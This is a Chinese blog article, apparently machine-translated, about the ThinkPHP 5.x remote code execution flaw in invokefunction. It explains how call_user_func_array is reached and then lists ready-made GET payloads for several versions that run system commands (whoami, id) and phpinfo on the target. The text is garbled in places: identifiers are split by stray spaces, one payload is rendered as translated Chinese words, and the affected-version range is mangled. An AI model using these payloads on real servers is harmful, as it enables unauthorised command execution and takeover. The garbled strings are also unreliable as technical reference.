首页 > 编程知识 正文

thinkphp代码执行getshell的漏洞解决

时间:2023-05-04 20:20:14 阅读:110762 作者:1941

先简单说一下前天thinkphp官方修复的一个getshell漏洞,框架对控制器检测不足导致的一个getshell。

影响的范围: 5 . x 5 . 1 . 31,=5.0.23

漏洞:导致系统被解除(你懂的)

这里附上我自己测试的thinkphp的链接版本,是5.0.22。

先说5.0和5.1的区别。tp5.1中引入了两个新的类,Container和Facade。TP 5.0没有这两个新类。

漏洞原理

网址:thinkapp/invokefunction

我们先来看看在App类的exec函数中执行层次控制器的操作。

这里,我们已经将控制器的所有调用信息和配置信息转移到执行函数invokeFunction。

因为thinkApp是第二个入口,所以会在tp运行的时候加载。所以在thinkApp中使用分层控制器进行操作时,需要调用invokeFunction函数。

这个函数有两个参数,如上图所示。第一个是函数名,第二个参数数组,比如$function传入百度,然后$vars传入[12,555],相当于调用百度(12,555)。

这里,我们将function传递给call_user_func_array,然后将vars[0]传递给我们要执行的函数的名称,将vars[1]传递给要执行的函数的参数。因为vars是一个数组,所以我们的get请求需要这样写。

Var []=函数名vars[1][]=参数

这里是使用php的数组注入。

此时,我们可以开始利用远程代码执行漏洞。比如我们要执行系统函数,它的参数是whoami。

think app/invokefunctionfunction=call _ user _ func _ array vars[0]=system vars[1][]=whoami

你知道,作为一个接班人,我们要做的就是修理他。),当然官方更新的最新版本已经修复

就这里的代码执行成功而言,下面专门介绍tp的不同版本的payload。

?s=index/ think Request/input filter=phpinfodata=1

?s=index/ think Request/input filter=system data=id

?s=索引/思考模板驱动程序

?s=index/ think view driver Php/display content=

?s=index/ think app/invokefunctionfunction=call _ user _ func _ array vars[0]=phpinfovars[1][]=1

?s=index/ think app/invokefunctionfunction=call _ user _ func _ array vars[0]=system vars[1][]=id

?s=index/ think Container/invokefunctionfunction=call _ user _ func _ array vars[0]=phpinfovars[1][]=1

?s=index/ think Container/invokefunctionfunction=call _ user _ func _ array vars[0]=system vars[1][]=id

这就是本文的全部内容。希望对大家的学习有帮助,也希望大家能支持剧本之家。

版权声明:该文观点仅代表作者本人。处理文章:请发送邮件至 三1五14八八95#扣扣.com 举报,一经查实,本站将立刻删除。